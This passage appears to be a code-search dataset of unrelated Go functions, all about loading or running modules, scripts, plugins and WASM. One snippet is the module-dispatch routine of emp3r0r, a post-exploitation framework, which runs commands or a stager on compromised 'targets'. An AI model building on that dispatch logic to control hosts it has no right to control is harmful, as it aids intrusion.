{\n\t\treturn starlark.None, err\n\t}\n\n\tres, ok := inst.(caddyhttp.Handler)\n\tif !ok {\n\t\treturn starlark.None, fmt.Errorf(\"could not assert as responder\")\n\t}\n\n\tm := ResponderModule{\n\t\tName: name,\n\t\tCfg: js,\n\t\tInstance: res,\n\t}\n\n\tr.Module = m\n\n\treturn m, nil\n}", "func ReadModule(wm *wasm.Module, ig ImportedGlobals) (*Module, error) {\n\tie := groupImports(wm)\n\tm := new(Module)\n\tif len(ie) != 0 {\n\t\tfor _, e := range ie[wasm.ExternalFunction] {\n\t\t\tf := e.Type.(wasm.FuncImport)\n\t\t\tm.ImportedFunctions = append(m.ImportedFunctions, &ImportedFunction{\n\t\t\t\tModuleName: e.ModuleName,\n\t\t\t\tFieldName: e.FieldName,\n\t\t\t\tSig: funcSig(&wm.Types.Entries[f.Type]),\n\t\t\t\tTypeId: f.Type,\n\t\t\t})\n\t\t}\n\t}\n\tif err := readGlobals(m, wm, ie, ig); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := readMemory(m, wm, ie); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := readTable(m, wm, ie); err != nil {\n\t\treturn nil, err\n\t}\n\tif wm.Export != nil && wm.Export.Entries != nil {\n\t\tfor name, e := range wm.Export.Entries {\n\t\t\tif e.Kind != wasm.ExternalFunction {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tm.ExportedFunctions = append(m.ExportedFunctions, &ExportedFunction{\n\t\t\t\tId: e.Index,\n\t\t\t\tName: name,\n\t\t\t})\n\t\t}\n\t}\n\tfor i, f := range wm.FunctionIndexSpace {\n\t\tfn, err := readFunc(m, wm, f, i)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tm.Functions = append(m.Functions, fn)\n\t}\n\treturn m, nil\n}", "func Load(filenames ...string) error {\n\treturn loadenv(false, filenames...)\n}", "func TestLoadModule(t *testing.T) {\n\tabs, err := filepath.Abs(filepath.FromSlash(\"../examples/main.wasm\")) // Get absolute path to test WASM file\n\n\tif err != nil { // Check for errors\n\t\tt.Fatal(err) // Panic\n\t}\n\n\ttestSourceFile, err := ioutil.ReadFile(abs) // Read test WASM file\n\n\tif err != nil { // Check for errors\n\t\tt.Fatal(err) // Panic\n\t}\n\n\tmodule, err := LoadModule(testSourceFile) // Load module\n\n\tif err != nil { // Check for errors\n\t\tt.Fatal(err) // Panic\n\t}\n\n\tt.Log(module) // Log success\n}", "func OpenModule(params [][2]string, debug bool) uint64 {\n\tvar accessLogPath, xdsPath, nodeID string\n\tfor i := range params {\n\t\tkey := params[i][0]\n\t\tvalue := strcpy(params[i][1])\n\n\t\tswitch key {\n\t\tcase \"access-log-path\":\n\t\t\taccessLogPath = value\n\t\tcase \"xds-path\":\n\t\t\txdsPath = value\n\t\tcase \"node-id\":\n\t\t\tnodeID = value\n\t\tdefault:\n\t\t\treturn 0\n\t\t}\n\t}\n\n\tif debug {\n\t\tmutex.Lock()\n\t\tlog.SetLevel(log.DebugLevel)\n\t\tflowdebug.Enable()\n\t\tmutex.Unlock()\n\t}\n\t// Copy strings from C-memory to Go-memory so that the string remains valid\n\t// also after this function returns\n\treturn OpenInstance(nodeID, xdsPath, npds.NewClient, accessLogPath, accesslog.NewClient)\n}", "func (self *Conn) LoadModule(name string, arguments string) error {\n\tmodule := &Module{\n\t\tconn: self,\n\t\tName: name,\n\t\tArgument: arguments,\n\t}\n\n\tif err := module.Load(); err == nil {\n\t\treturn nil\n\t} else if strings.Contains(err.Error(), `initialization failed`) {\n\t\treturn nil\n\t} else {\n\t\treturn err\n\t}\n}", "func (ac *Config) LoadCommonFunctions(w http.ResponseWriter, req *http.Request, filename string, L *lua.LState, flushFunc func(), httpStatus *FutureStatus) {\n\t// Make basic functions, like print, available to the Lua script.\n\t// Only exports functions that can relate to HTTP responses or requests.\n\tac.LoadBasicWeb(w, req, L, filename, flushFunc, httpStatus)\n\n\t// Make other basic functions available\n\tac.LoadBasicSystemFunctions(L)\n\n\t// Functions for rendering markdown or amber\n\tac.LoadRenderFunctions(w, req, L)\n\n\t// If there is a database backend\n\tif ac.perm != nil {\n\n\t\t// Retrieve the userstate\n\t\tuserstate := ac.perm.UserState()\n\n\t\t// Set the cookie secret, if set\n\t\tif ac.cookieSecret != \"\" {\n\t\t\tuserstate.SetCookieSecret(ac.cookieSecret)\n\t\t}\n\n\t\t// Functions for serving files in the same directory as a script\n\t\tac.LoadServeFile(w, req, L, filename)\n\n\t\t// Functions mainly for adding admin prefixes and configuring permissions\n\t\tac.LoadServerConfigFunctions(L, filename)\n\n\t\t// Make the functions related to userstate available to the Lua script\n\t\tusers.Load(w, req, L, userstate)\n\n\t\tcreator := userstate.Creator()\n\n\t\t// Simpleredis data structures\n\t\tdatastruct.LoadList(L, creator)\n\t\tdatastruct.LoadSet(L, creator)\n\t\tdatastruct.LoadHash(L, creator)\n\t\tdatastruct.LoadKeyValue(L, creator)\n\n\t\t// For saving and loading Lua functions\n\t\tcodelib.Load(L, creator)\n\n\t\t// For executing PostgreSQL queries\n\t\tpquery.Load(L)\n\n\t\t// For executing MSSQL queries\n\t\tmssql.Load(L)\n\n\t}\n\n\t// For handling JSON data\n\tjnode.LoadJSONFunctions(L)\n\tac.LoadJFile(L, filepath.Dir(filename))\n\tjnode.Load(L)\n\n\t// Extras\n\tpure.Load(L)\n\n\t// pprint\n\t// exportREPL(L)\n\n\t// Plugins\n\tac.LoadPluginFunctions(L, nil)\n\n\t// Cache\n\tac.LoadCacheFunctions(L)\n\n\t// Pages and Tags\n\tonthefly.Load(L)\n\n\t// File uploads\n\tupload.Load(L, w, req, filepath.Dir(filename))\n\n\t// HTTP Client\n\thttpclient.Load(L, ac.serverHeaderName)\n}", "func load(t *types.SExpr, env types.Env) (types.Expr, error) {\n\tif t.Right == types.NIL {\n\t\treturn nil, errors.New(\"missing parameter for LOAD\")\n\t}\n\tswitch a2 := t.Right.(type) {\n\tcase *types.SExpr:\n\t\t//should only have a single parameter for LOAD\n\t\tif a2.Right != types.NIL {\n\t\t\treturn nil, errors.New(\"shouldn't have more than one parameter for LOAD\")\n\t\t}\n\t\te2, err := evalInner(a2.Left, env)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tswitch a3 := e2.(type) {\n\t\tcase types.Atom:\n\t\t\tf, err := os.Open(string(a3))\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tdefer f.Close()\n\t\t\tnewEnv, err := internalRepl(f)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tfor k, v := range newEnv {\n\t\t\t\tTopLevel[k] = v\n\t\t\t}\n\t\t\treturn types.T, nil\n\t\tdefault:\n\t\t\treturn nil, errors.New(\"LOAD parameter must evaluate to a single value\")\n\t\t}\n\t}\n\treturn nil, errors.New(\"shouldn't get here\")\n}", "func sysLoad(args []ast.Expr) (ast.Expr, error) {\n\tif len(args) != 1 {\n\t\treturn nil, &Error{Message: fmt.Sprintf(\"required 1, but got %d\", len(args))}\n\t}\n\n\tvar s ast.StringExpr\n\tvar ok bool\n\tif s, ok = args[0].(ast.StringExpr); !ok {\n\t\treturn nil, &Error{Message: fmt.Sprintf(\"expected string, but got %s\", ast.TypeString(args[0]))}\n\t}\n\n\t//TODO: pass from optional args\n\tenv := getInteractionEnvironment()\n\terr := implLoad(string(s), env)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn ast.Undefined{}, nil\n}", "func LoadAndPerform(definition string) error {\n return load(definition)\n}", "func (ip *Interpreter) Load(prog []byte) {\n\tcopy(ip.memory[memoryOffsetProgram:], prog)\n}", "func LoadModuleAs(name string, url string) js.Value {\n\n\tdocument := js.Global().Get(\"document\")\n\n\tch := make(chan js.Value, 1)\n\n\tvar sendFunc js.Func\n\tsendFunc = js.FuncOf(func(this js.Value, args []js.Value) interface{} {\n\t\tch <- args[0]\n\n\t\treturn nil\n\t})\n\tvar closeFunc js.Func\n\tcloseFunc = js.FuncOf(func(this js.Value, args []js.Value) interface{} {\n\t\tdefer sendFunc.Release()\n\t\tdefer closeFunc.Release()\n\t\tclose(ch)\n\t\treturn nil\n\t})\n\tjs.Global().Set(\"__threejs_send__\", sendFunc)\n\tjs.Global().Set(\"__threejs_close__\", closeFunc)\n\tlines := []string{}\n\tlines = append(lines, fmt.Sprintf(\"import * as %s from %q;\", name, url))\n\tlines = append(lines, fmt.Sprintf(\"__threejs_send__(%s);\", name))\n\tlines = append(lines, \"__threejs_close__();\")\n\n\tscript := document.Call(\"createElement\", \"script\")\n\tscript.Set(\"type\", \"module\")\n\tcode := document.Call(\"createTextNode\", strings.Join(lines, \"\\n\"))\n\tscript.Call(\"appendChild\", code)\n\n\tdocument.Get(\"head\").Call(\"appendChild\", script)\n\n\t// chanのループ処理で、closeが呼ばれるまで待つ\n\tres := make([]js.Value, 0, 1)\n\tfor v := range ch {\n\t\tres = append(res, v)\n\t}\n\treturn res[0] // 最初の結果のみ\n}", "func ModuleRun() {\n\tif CurrentMod == emp3r0r_data.ModCMD_EXEC {\n\t\tif !CliYesNo(\"Run on all targets\") {\n\t\t\tCliPrintError(\"Target not specified\")\n\t\t\treturn\n\t\t}\n\t\tModuleHelpers[emp3r0r_data.ModCMD_EXEC]()\n\t\treturn\n\t}\n\tif CurrentMod == emp3r0r_data.ModStager {\n\t\tModuleHelpers[emp3r0r_data.ModStager]()\n\t\treturn\n\t}\n\tif CurrentTarget == nil {\n\t\tCliPrintError(\"Target not specified\")\n\t\treturn\n\t}\n\tif Targets[CurrentTarget] == nil {\n\t\tCliPrintError(\"Target (%s) does not exist\", CurrentTarget.Tag)\n\t\treturn\n\t}\n\n\tmod := ModuleHelpers[CurrentMod]\n\tif mod != nil {\n\t\tmod()\n\t} else {\n\t\tCliPrintError(\"Module %s not found\", strconv.Quote(CurrentMod))\n\t}\n}", "func (self *Build) exec(moduleLabel core.Label, fileType core.FileType) error {\n\tthread := createThread(self, moduleLabel, fileType)\n\n\tsourceData, err := self.sourceFileReader(moduleLabel)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to execute %v: read failed: %v\", moduleLabel, err)\n\t}\n\n\t_, err = starlark.ExecFile(thread, moduleLabel.String(), sourceData,\n\t\tbuiltins.InitialGlobals(fileType))\n\treturn err\n}", "func (env *Environment) Load(source, code string) error {\n\treturn nil\n}", "func (env *Environment) Load(source, code string) error {\n\treturn nil\n}", "func (js JavaScriptHandler) Load(name string, code []string) {\n\t// Create a unique function name called the same as the object macro name.\n\tjs.functions[name] = fmt.Sprintf(`\n\t\tfunction object_%s(rs, args) {\n\t\t\t%s\n\t\t}\n\t`, name, strings.Join(code, \"\\n\"))\n\n\t// Run this code to load the function into the VM.\n\tjs.VM.RunString(js.functions[name])\n}", "func (e *Evaluator) Run() (*Module, error) {\n\tif e.newSpinner != nil {\n\t\tspin := e.newSpinner(\"Evaluating Terraform directory\")\n\t\tdefer spin.Success()\n\t}\n\n\tvar lastContext hcl.EvalContext\n\t// first we need to evaluate the top level Context - so this can be passed to any child modules that are found.\n\te.logger.Debug(\"evaluating top level context\")\n\te.evaluate(lastContext)\n\n\t// let's load the modules now we have our top level context.\n\te.moduleCalls = e.loadModules()\n\te.logger.Debug(\"evaluating context after loading modules\")\n\te.evaluate(lastContext)\n\n\t// expand out resources and modules via count and evaluate again so that we can include\n\t// any module outputs and or count references.\n\te.module.Blocks = e.expandBlocks(e.module.Blocks)\n\te.logger.Debug(\"evaluating context after expanding blocks\")\n\te.evaluate(lastContext)\n\n\t// returns all the evaluated Blocks under their given Module.\n\treturn e.collectModules(), nil\n}", "func(r *Runtime) LoadModule(module *Module) (*Module, error) {\n\tresult := C.m3Err_none\n\tresult = C.m3_LoadModule(\n\t\tr.Ptr(),\n\t\tmodule.Ptr(),\n\t)\n\tif result != nil {\n\t\treturn nil, errLoadModule\n\t}\n\tresult = C.m3_LinkSpecTest(r.Ptr().modules)\n\tif result != nil {\n\t\treturn nil, errors.New(\"LinkSpecTest failed\")\n\t}\n\tif r.cfg.EnableWASI {\n\t\tC.m3_LinkWASI(r.Ptr().modules)\n\t}\n\treturn module, nil\n}", "func (e *Evaluator) loadModules() []*ModuleCall {\n\te.logger.Debug(\"loading module calls\")\n\tvar moduleDefinitions []*ModuleCall\n\n\t// TODO: if a module uses a count that depends on a module output, then the block expansion might be incorrect.\n\texpanded := e.expandBlocks(e.module.Blocks.ModuleBlocks())\n\n\tfor _, moduleBlock := range expanded {\n\t\tif moduleBlock.Label() == \"\" {\n\t\t\tcontinue\n\t\t}\n\n\t\tmoduleCall, err := e.loadModule(moduleBlock)\n\t\tif err != nil {\n\t\t\te.logger.WithError(err).Warnf(\"failed to load module %s ignoring\", moduleBlock.LocalName())\n\t\t\tcontinue\n\t\t}\n\n\t\tmoduleDefinitions = append(moduleDefinitions, moduleCall)\n\t}\n\n\treturn moduleDefinitions\n}", "func (node *Node) RunModule(req http.Request) *http.Status {\n\n\tnode.RLock()\n\t\tmodule := node.Module\n\tnode.RUnlock()\n\n\tif module != nil {\n\n\t\tstatus := module.Run(req); if status != nil { return status }\n\t}\n\n\treturn nil\n}", "func loadExecutable(filename string, data []byte) (*Exec, error) {\n\t// Use initMutex to synchronize file operations by this process\n\tinitMutex.Lock()\n\tdefer initMutex.Unlock()\n\n\tvar err error\n\tif !filepath.IsAbs(filename) {\n\t\tfilename, err = inStandardDir(filename)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\tfilename = renameExecutable(filename)\n\n\tif data != nil {\n\t\tlog.Tracef(\"Placing executable in %s\", filename)\n\t\tif err := filepersist.Save(filename, data, NewFileMode); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tlog.Trace(\"File saved, returning new Exec\")\n\t} else {\n\t\tlog.Tracef(\"Loading executable from %s\", filename)\n\t}\n\treturn newExec(filename)\n}", "func(r *Runtime) ParseModule(wasmBytes []byte) (*Module, error) {\n\treturn r.cfg.Environment.ParseModule(wasmBytes)\n}", "func unloadModule(ctx context.Context, deps map[string][]string, module string) error {\n\tmods, ok := deps[module]\n\tif !ok {\n\t\t// Module is already unloaded.\n\t\treturn nil\n\t}\n\tfor _, m := range mods {\n\t\tif err := unloadModule(ctx, deps, m); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\ttesting.ContextLog(ctx, \"Unloading \", module)\n\treturn testexec.CommandContext(ctx, \"modprobe\", \"-r\", module).Run(testexec.DumpLogOnError)\n}", "func Loader(L *lua.LState) int {\n\tif err := L.DoString(lua_argparse); err != nil {\n\t\tL.RaiseError(\"load library 'argparse' error: %s\", err.Error())\n\t}\n\treturn 1\n}", "func (r *Runtime) ParseModule(wasmBytes []byte) (*Module, error) {\n\treturn r.cfg.Environment.ParseModule(wasmBytes)\n}", "func NewEnv(loader *ScriptLoader, debugging bool) *Env {\n\tenv := &Env{\n\t\tvm: otto.New(),\n\t\tloader: loader,\n\t\tdebugging: debugging,\n\t\tbuiltinModules: make(map[string]otto.Value),\n\t\tbuiltinModuleFactories: make(map[string]BuiltinModuleFactory),\n\t}\n\tenv.vm.Set(\"__getModulePath\", func(call otto.FunctionCall) otto.Value {\n\t\tvm := call.Otto\n\t\tvar cwd, moduleID string\n\t\tvar err error\n\t\tif cwd, err = call.Argument(0).ToString(); err != nil {\n\t\t\tpanic(vm.MakeCustomError(\"__getModulePath error\", err.Error()))\n\t\t}\n\t\tif moduleID, err = call.Argument(1).ToString(); err != nil {\n\t\t\tpanic(vm.MakeCustomError(\"__getModulePath error\", err.Error()))\n\t\t}\n\t\tif _, found := env.builtinModules[moduleID]; found {\n\t\t\tret, _ := otto.ToValue(moduleID)\n\t\t\treturn ret\n\t\t}\n\t\tif _, found := env.builtinModuleFactories[moduleID]; found {\n\t\t\tret, _ := otto.ToValue(moduleID)\n\t\t\treturn ret\n\t\t}\n\t\tif ap, err := env.loader.GetModuleAbs(cwd, moduleID); err != nil {\n\t\t\tpanic(vm.MakeCustomError(\"__getModulePath error\", err.Error()))\n\t\t} else {\n\t\t\tret, _ := otto.ToValue(ap)\n\t\t\treturn ret\n\t\t}\n\t})\n\tvar requireSrc string\n\tif env.debugging {\n\t\trequireSrc = debugRequireSrc\n\t} else {\n\t\trequireSrc = releaseRequireSrc\n\t}\n\tenv.vm.Set(\"__loadSource\", func(call otto.FunctionCall) otto.Value {\n\t\tvar mp string\n\t\tvar err error\n\t\tvm := call.Otto\n\t\t// reading arguments\n\t\tif mp, err = call.Argument(0).ToString(); err != nil {\n\t\t\tpanic(vm.MakeCustomError(\"__loadSource error\", err.Error()))\n\t\t}\n\t\t// finding built builtin modules\n\t\tif mod, found := env.builtinModules[mp]; found {\n\t\t\tretObj, _ := vm.Object(\"({isBuiltin: true})\")\n\t\t\tretObj.Set(\"builtin\", mod)\n\t\t\treturn retObj.Value()\n\t\t}\n\t\t// finding unbuilt builtin modules\n\t\tif mf, found := env.builtinModuleFactories[mp]; found {\n\t\t\tretObj, _ := vm.Object(\"({isBuiltin: true})\")\n\t\t\tmod := mf.CreateModule(vm)\n\t\t\tretObj.Set(\"builtin\", mod)\n\t\t\tenv.builtinModules[mp] = mod\n\t\t\treturn retObj.Value()\n\t\t}\n\t\t// loading module on file system\n\t\tsrc, err := env.loader.LoadScript(mp)\n\t\tif err != nil {\n\t\t\tpanic(vm.MakeCustomError(\"__loadSource error\", err.Error()))\n\t\t}\n\t\tscript, err := vm.Compile(mp, src)\n\t\tif err != nil {\n\t\t\tpanic(vm.MakeCustomError(\"__loadSource error\", err.Error()))\n\t\t}\n\t\tmodValue, err := vm.Run(script)\n\t\tif err != nil {\n\t\t\tpanic(vm.MakeCustomError(\"__loadSource error\", err.Error()))\n\t\t}\n\t\tretObj, _ := vm.Object(\"({})\")\n\t\tretObj.Set(\"src\", modValue)\n\t\tretObj.Set(\"filename\", path.Base(mp))\n\t\tretObj.Set(\"dirname\", path.Dir(mp))\n\t\treturn retObj.Value()\n\t})\n\t_, err := env.vm.Run(requireSrc)\n\tif err != nil {\n\t\tswitch err.(type) {\n\t\tcase *otto.Error:\n\t\t\tpanic(err.(otto.Error).String())\n\t\tdefault:\n\t\t\tpanic(err)\n\t\t}\n\t}\n\treturn env\n}", "func (m *RPCModule) globals() []*types.VMMember {\n\treturn []*types.VMMember{}\n}", "func loadFunction(path string) (function, error) {\n\tpl, err := plugin.Open(path)\n\tif err != nil {\n\t\treturn function{}, fmt.Errorf(\"Cannot open %s plugin: %v\", path, err)\n\t}\n\trouteRaw, err := pl.Lookup(\"Route\")\n\tif err != nil {\n\t\treturn function{}, fmt.Errorf(\"Cannot lookup Route: %v\", err)\n\t}\n\troute := *routeRaw.(*string)\n\n\thandlerRaw, err := pl.Lookup(\"Handle\")\n\tif err != nil {\n\t\treturn function{}, fmt.Errorf(\"Cannot lookup handler: %v\", err)\n\t}\n\thandler := handlerRaw.(functionHandler)\n\n\treturn function{\n\t\troute: route,\n\t\thandler: handler,\n\t}, nil\n}", "func (m *DHTModule) globals() []*modulestypes.VMMember {\n\treturn []*modulestypes.VMMember{}\n}", "func Module(mod ModuleFunc) func(*Runner) error {\n\treturn func(r *Runner) error {\n\t\tswitch mod := mod.(type) {\n\t\tcase ModuleExec:\n\t\t\tif mod == nil {\n\t\t\t\tmod = DefaultExec\n\t\t\t}\n\t\t\tr.Exec = mod\n\t\tcase ModuleOpen:\n\t\t\tif mod == nil {\n\t\t\t\tmod = DefaultOpen\n\t\t\t}\n\t\t\tr.Open = mod\n\t\tdefault:\n\t\t\treturn fmt.Errorf(\"unknown module type: %T\", mod)\n\t\t}\n\t\treturn nil\n\t}\n}", "func (dbp *DebuggedProcess) LoadInformation() error {\n\tvar (\n\t\twg sync.WaitGroup\n\t\terr error\n\t)\n\n\terr = dbp.findExecutable()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\twg.Add(2)\n\tgo dbp.parseDebugFrame(&wg)\n\tgo dbp.obtainGoSymbols(&wg)\n\n\twg.Wait()\n\n\treturn nil\n}", "func (m *PoolModule) globals() []*modulestypes.VMMember {\n\treturn []*modulestypes.VMMember{}\n}", "func (this *Motto) Require(id, pwd string) (otto.Value, error) {\n if cache, ok := this.moduleCache[id]; ok {\n return cache, nil\n }\n\n loader, ok := this.modules[id]\n if !ok {\n loader, ok = globalModules[id]\n }\n\n if loader != nil {\n value, err := loader(this)\n if err != nil {\n return otto.UndefinedValue(), err\n }\n\n this.moduleCache[id] = value\n return value, nil\n }\n\n filename, err := FindFileModule(id, pwd, append(this.paths, globalPaths...))\n if err != nil {\n return otto.UndefinedValue(), err\n }\n\n // resove id\n id = filename\n\n if cache, ok := this.moduleCache[id]; ok {\n return cache, nil\n }\n\n v, err := CreateLoaderFromFile(id)(this)\n\n if err != nil {\n return otto.UndefinedValue(), err\n }\n\n // cache\n this.moduleCache[id] = v\n\n return v, nil\n}", "func (api *API) RunModules(w http.ResponseWriter, r *http.Request) {\n\tvar inputs []communication.Input\n\tvar res Result\n\n\terr := json.NewDecoder(r.Body).Decode(&inputs)\n\tif err != nil {\n\t\tlog.Debugf(\"Could not decode provided json : %+v\", err)\n\t\tsendDefaultValue(w, CodeCouldNotDecodeJSON)\n\t\treturn\n\t}\n\n\tlog.Debugf(\"JSON input : %+v\", inputs)\n\tdefer r.Body.Close()\n\n\t/*\n\t* TODO\n\t* Implements load balancing betweens node\n\t* Remove duplications\n\t* \t- maybe each module should look in the database and check if it has been already done\n\t* \t- Scan expiration ? re-runable script ? only re run if not in the same area / ip range ?\n\t */\n\n\tfor _, module := range api.Session.ModulesEnabled {\n\t\tmoduleName := strings.ToLower(module.Name())\n\t\t// send as much command as inputs\n\t\tfor _, input := range inputs {\n\t\t\tcmd := communication.Command{Name: moduleName, Options: input}\n\t\t\tlog.Debugf(\"RunModule for cmd : %+v\", cmd)\n\n\t\t\terr = api.Server.SendCmd(cmd)\n\n\t\t\t// exit at first error.\n\t\t\tif err != nil {\n\t\t\t\tsendDefaultValue(w, CodeServerError)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n\n\tres = CodeToResult[CodeOK]\n\tres.Message = \"Command sent\"\n\tw.WriteHeader(res.HTTPCode)\n\tjson.NewEncoder(w).Encode(res)\n}", "func Load() error {\n\treturn def.Load()\n}", "func parseModule(llPath string) (*ir.Module, error) {\n\tif !osutil.Exists(llPath) {\n\t\twarn.Printf(\"unable to locate LLVM IR file %q\", llPath)\n\t\treturn &ir.Module{}, nil\n\t}\n\treturn asm.ParseFile(llPath)\n}", "func (r *Eval) Run(ctx context.Context, script []byte) (Object, *Bytecode, error) {\n\tbytecode, err := Compile(script, r.Opts)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tbytecode.Main.NumParams = bytecode.Main.NumLocals\n\tr.Opts.Constants = bytecode.Constants\n\tr.fixOpPop(bytecode)\n\tr.VM.SetBytecode(bytecode)\n\n\tif ctx == nil {\n\t\tctx = context.Background()\n\t}\n\n\tr.VM.modulesCache = r.ModulesCache\n\tret, err := r.run(ctx)\n\tr.ModulesCache = r.VM.modulesCache\n\tr.Locals = r.VM.GetLocals(r.Locals)\n\tr.VM.Clear()\n\n\tif err != nil {\n\t\treturn nil, bytecode, err\n\t}\n\treturn ret, bytecode, nil\n}", "func GetModules(rw http.ResponseWriter) error {\n\tlines, err := share.ReadFullFile(procModulesPath)\n\tif err != nil {\n\t\tlog.Fatalf(\"Failed to read: %s\", procModulesPath)\n\t\treturn errors.New(\"Failed to read /proc/modules\")\n\t}\n\n\tmodules := make([]Modules, len(lines))\n\tfor i, line := range lines {\n\t\tfields := strings.Fields(line)\n\n\t\tmodule := Modules{}\n\n\t\tfor j, field := range fields {\n\t\t\tswitch j {\n\t\t\tcase 0:\n\t\t\t\tmodule.Module = field\n\t\t\t\tbreak\n\t\t\tcase 1:\n\t\t\t\tmodule.MemorySize = field\n\t\t\t\tbreak\n\t\t\tcase 2:\n\t\t\t\tmodule.Instances = field\n\t\t\t\tbreak\n\t\t\tcase 3:\n\t\t\t\tmodule.Dependent = field\n\t\t\t\tbreak\n\t\t\tcase 4:\n\t\t\t\tmodule.State = field\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\tmodules[i] = module\n\t}\n\n\treturn share.JSONResponse(modules, rw)\n}", "func Load(fn func(r io.Reader) error) error {\n\tvar (\n\t\targs []string\n\t\tstdin io.Reader\n\t)\n\tif *binary != \"\" {\n\t\targs = append(args, *binary)\n\t} else if Reader != nil {\n\t\tstdin = Reader\n\t} else {\n\t\t// We have no input stream or binary.\n\t\treturn fmt.Errorf(\"no binary or reader provided\")\n\t}\n\n\t// Construct our command.\n\tcmd := exec.Command(*objdumpTool, args...)\n\tcmd.Stdin = stdin\n\tcmd.Stderr = os.Stderr\n\tout, err := cmd.StdoutPipe()\n\tif err != nil {\n\t\treturn err\n\t}\n\tif err := cmd.Start(); err != nil {\n\t\treturn err\n\t}\n\n\t// Call the user hook.\n\tuserErr := fn(out)\n\n\t// Wait for the dump to finish.\n\tif err := cmd.Wait(); userErr == nil && err != nil {\n\t\treturn err\n\t}\n\n\treturn userErr\n}", "func LoadScript(filename string) (int, string) {\n\trepeat := 0\n\trequests := \"\"\n\tthread := &starlark.Thread{\n\t\tLoad: loader,\n\t}\n\targuments := starlark.StringDict{}\n\tresponse, err := starlark.ExecFile(thread, filename, nil, arguments)\n\tif nil != err {\n\t\tfmt.Println(\"Error: \", err)\n\t} else {\n\t\tvar names []string\n\t\tfor name := range response {\n\t\t\tnames = append(names, name)\n\t\t}\n\t\tsort.Strings(names)\n\t\tfor _, name := range names {\n\t\t\tv := response[name]\n\t\t\tif strings.Compare(name, \"repeat\") == 0 {\n\t\t\t\tvalue, err := strconv.Atoi(v.String())\n\t\t\t\tif nil == err {\n\t\t\t\t\trepeat = value\n\t\t\t\t}\n\t\t\t}\n\t\t\tif strings.Compare(name, \"requests\") == 0 {\n\t\t\t\trequests = AsString(v)\n\t\t\t}\n\t\t}\n\t}\n\treturn repeat, requests\n}", "func Load(filename string) error {\n\tvar err error\n\tp, err = plugin.Open(filename)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tinit, err := p.Lookup(initFuncName)\n\tif err != nil {\n\t\treturn err\n\t}\n\tpluginInit, initialized = init.(initFunc)\n\tif !initialized {\n\t\treturn fmt.Errorf(\"invalid plugin `%s() error` function signature\", initFuncName)\n\t}\n\n\tacq, err := p.Lookup(acquireFuncName)\n\tif err != nil {\n\t\treturn err\n\t}\n\tpluginAcquire, initialized = acq.(acquireFunc)\n\tif !initialized {\n\t\treturn fmt.Errorf(\"invalid plugin `%s(string) string` function signature\", acquireFuncName)\n\t}\n\treturn nil\n}", "func (f *function) load() (err error) {\n\tdefinition, err := ioutil.ReadFile(f.path)\n\tif err != nil {\n\t\treturn err\n\t}\n\tf.definition = string(definition)\n\n\treturn\n}", "func load(interpreter *Interpreter) {\n\tname := interpreter.PopName()\n\tvalue, _ := interpreter.FindValueInDictionaries(name)\n\tif value == nil {\n\t\tlog.Printf(\"Can't find value %s\\n\", name)\n\t}\n\tinterpreter.Push(value)\n}", "func (r *LoadMiddleware) Run(thread *starlark.Thread, fn *starlark.Builtin, args starlark.Tuple, kwargs []starlark.Tuple) (starlark.Value, error) {\n\tvar name string\n\tvar cfg *starlark.Dict\n\terr := starlark.UnpackPositionalArgs(fn.Name(), args, kwargs, 2, &name, &cfg)\n\tif err != nil {\n\t\treturn starlark.None, fmt.Errorf(\"unpacking arguments: %v\", err.Error())\n\t}\n\n\tjs := json.RawMessage(cfg.String())\n\n\tif strings.Index(name, \"http.handlers.\") == -1 {\n\t\tname = fmt.Sprintf(\"http.handlers.%s\", name)\n\t}\n\n\tinst, err := r.Ctx.LoadModuleByID(name, js)\n\tif err != nil {\n\t\treturn starlark.None, err\n\t}\n\n\tmid, ok := inst.(caddyhttp.MiddlewareHandler)\n\tif !ok {\n\t\treturn starlark.None, fmt.Errorf(\"could not assert as middleware handler\")\n\t}\n\n\tm := Middleware{\n\t\tName: name,\n\t\tCfg: js,\n\t\tInstance: mid,\n\t}\n\n\tr.Middleware = m\n\n\treturn m, nil\n}", "func readModulesFromBundle() *map[string][]byte {\n\tbundleFile, err := os.Open(bundlePath)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tdefer bundleFile.Close()\n\n\tmodules := map[string][]byte{}\n\n\tmagicNumber := readFile(bundleFile, 0)\n\tcheckMagicNumber(magicNumber)\n\n\tentryCount := readFile(bundleFile, UINT32_LENGTH)\n\tstartupCountLength := int(readFile(bundleFile, UINT32_LENGTH*2))\n\n\tentries := map[int]entry{}\n\n\tentryTableStart := UINT32_LENGTH * 3\n\tposition := entryTableStart\n\n\tfor entryId := 0; entryId < int(entryCount); entryId++ {\n\t\tentry := entry{\n\t\t\toffset: int(readFile(bundleFile, position)),\n\t\t\tlength: int(readFile(bundleFile, position+UINT32_LENGTH)),\n\t\t}\n\n\t\tentries[entryId] = entry\n\t\tposition += UINT32_LENGTH * 2\n\t}\n\n\tmoduleStart := position\n\n\tfor index, entry := range entries {\n\t\tstart := moduleStart + entry.offset\n\n\t\tmoduleData := readFileAtOffset(bundleFile, start, entry.length)\n\t\tif len(moduleData) > 0 {\n\t\t\tmoduleData = moduleData[:len(moduleData)-1]\n\t\t}\n\n\t\tmodules[strconv.Itoa(index)] = moduleData\n\t}\n\n\tstartupSize := (moduleStart + startupCountLength - 1) - moduleStart\n\tmodules[\"startup\"] = readFileAtOffset(bundleFile, moduleStart, startupSize)\n\n\treturn &modules\n}", "func parseModule(llPath string) (*ir.Module, error) {\n\tswitch llPath {\n\tcase \"-\":\n\t\t// Parse LLVM IR module from standard 